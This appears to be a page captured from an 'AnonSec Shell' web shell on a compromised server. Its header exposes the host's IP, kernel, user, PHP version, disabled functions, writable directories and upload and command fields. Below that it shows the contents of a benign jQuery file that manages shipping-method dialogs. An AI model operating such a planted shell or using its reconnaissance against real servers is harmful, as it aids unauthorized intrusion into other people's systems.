AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/ui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/ui/lib/shipping_method.js
$(document).ready(function () {

    var _url = $("#_url").val();
    var _msg_add_new_segment = $("#_msg_add_new_shipping_method").val();
    var _msg_name = $("#_msg_name").val();
    var _msg_edit = $("#_msg_edit").val();
    var _msg_ok = $("#_msg_ok").val();
    var _msg_cancel = $("#_msg_cancel").val();


    var ib_form_bootbox = "<form class=\"form-horizontal push-10\" method=\"post\" onsubmit=\"return false;\">\n    <div class=\"form-group\">\n        <div class=\"col-xs-12\">\n            <div class=\"form-material floating\">\n                <input class=\"form-control\" type=\"text\" id=\"shipping_method_name\" name=\"shipping_method_name\">\n                <label for=\"envato_api_key\">" + _msg_name + "</label>\n                           </div>\n        </div>\n    </div>\n\n</form>";


    var box =   bootbox.dialog({
            title: _msg_add_new_segment,
            message: ib_form_bootbox,
            buttons: {
                success: {
                    label: _L['Save'],
                    className: "btn-primary",
                    callback: function () {
                        var name_val = $('#shipping_method_name').val();
                        $.post(  _url + "shipping_method/add-post/", { name: name_val })
                            .done(function( data ) {
                                if ($.isNumeric(data)) {
                                    location.reload();
                                }
                                else {
                                    bootbox.alert(data);
                                }

                            });
                    }
                }
            },
            show: false
        }
    );





    $("#add_new_shipping_method").click(function(e){
        e.preventDefault();
        box.modal('show');
    });


    box.on("shown.bs.modal", function() {

        var name = $('#shipping_method_name');
        setTimeout(function(){
            name.focus();
        }, 1000);

    });


    $(".cdelete").click(function (e) {
        e.preventDefault();
        var id = $( this ).attr( "data-id" );
        bootbox.confirm(_L['are_you_sure'], function(result) {
            if(result){
                var _url = $("#_url").val();
                window.location.href = _url + "shipping_method/delete/" + id;
            }
        });
    });


    $(".edit_nature").click(function (e) {
        e.preventDefault();

        var id = $( this ).attr( "data-id" );
        var name = $( this ).attr( "data-name" );
     
        bootbox.prompt({
            title: _msg_edit,
            value: name,
            buttons: {
                'cancel': {
                    label: _msg_cancel
                },
                'confirm': {
                    label: _msg_ok
                }
            },
            callback: function(result) {
                if (result === null) {

                } else {
                    // alert(result);
                    $.post(  _url + "shipping_method/edit-post/", { id: id, name: result })
                        .done(function( data ) {
                          
                                if ($.isNumeric(data)) {

                                    location.reload();

                                }

                                else {
                                    bootbox.alert(data);
                                }
                        });
                }
            }
        });

    });




});

Anon7 - 2022
AnonSec Team